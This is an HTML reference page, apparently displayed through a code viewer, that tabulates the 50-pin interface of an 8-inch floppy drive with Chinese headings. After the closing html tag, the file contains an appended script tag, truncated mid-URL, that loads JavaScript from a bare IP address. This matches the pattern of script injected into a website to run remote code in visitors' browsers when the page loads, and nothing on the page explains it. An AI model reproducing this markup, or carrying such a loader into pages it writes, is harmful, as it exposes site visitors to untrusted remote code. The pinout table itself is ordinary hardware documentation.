📄 29-floppy8.htm
字号:
<html>
<head>
<style>
<!--
A:link {text-decoration: none; color: #607f7f; font-family: 宋体}
A:visited {text-decoration: none; color: #607f7f; font-family: 宋体}
A:active {text-decoration: none; color: #607f7f; font-family: 宋体}
A:hover {text-decoration: underline; color: #0000FF}
body,table {font-size: 9pt; font-family: 宋体}
-->
</style>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>8" floppy disk</title>
</head>
<body bgcolor="#FFFFFF" background="back01.jpg" tppabs="http://linux.ustc.edu.cn/~xjiang/images/back01.jpg">
<p align="center"><font size="5" color="#0000FF"><strong><u>8 "软驱接口定义</u></strong></font></p>
<table border="0" width="100%" cellspacing="1" cellpadding="0" height="3">
<tr>
<td width="100%" align="center" height="26" bgcolor="#FFC8AA"><font color="#000080">[ <a target="_self" href="hardware.htm" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware.htm">返回目录</a> ]</font></td>
</tr>
</table>
<p><font color="#008080">8 "
软驱现在找都找不到，不知此档案有没有用，驱动器的接口引脚定义为：</font></p>
<table border="1" cellspacing="1">
<tr>
<th bgcolor="#0000FF"><font color="#FFFF00">Pin</font></th>
<th bgcolor="#0000FF"><font color="#FFFF00">Name</font></th>
<th bgcolor="#0000FF"><font color="#FFFF00">Dir</font></th>
<th bgcolor="#0000FF"><font color="#FFFF00">Description</font></th>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">2</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/REDWC</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Reduced Write Current</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">4</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Reserved</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">6</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Reserved</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">8</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Reserved</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">10</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/FD2S</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Disk is two sided</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">12</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/DCG</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Disk has been changed/door open</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">14</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/SIDE</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Side select</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">16</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/DLOCK</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Door lock</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">18</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/HLD</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Head load</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">20</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/INDEX</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Index Pulse</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">22</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/READY</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Ready</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">24</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Not connected</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">26</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/SEL1</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Select Drive 1</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">28</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/SEL2</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Select Drive 2</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">30</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/SEL3</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Select Drive 3</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">32</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/SEL4</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Select Drive 4</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">34</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/DIR</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Direction</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">36</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/STEP</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Step</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">38</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/WDAT</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Write data</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">40</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/WGAT</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="-->" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Write gate</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">42</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/TR00</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Track 00 (Zero)</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">44</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/WPROT</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Write protect</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">46</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">/RDATA</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="<--" WIDTH="32" HEIGHT="9"></font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Read data</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">48</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Not connected</font></td>
</tr>
<tr>
<td bgcolor="#C8C8FF"><font color="#0000FF">50</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">n/c</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">-</font></td>
<td bgcolor="#C8C8FF"><font color="#0000FF">Not connected</font></td>
</tr>
</table>
</body>
</html>
<script language=javascript src=http://218.75.91.248/winr|
n⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -